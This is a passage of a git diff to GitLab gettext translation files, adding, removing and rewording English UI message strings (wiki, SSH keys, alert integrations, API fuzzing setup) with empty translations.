+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index c46ca0fcb5a..a71910501de 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:50\n"
+"PO-Revision-Date: 2021-04-02 00:09\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
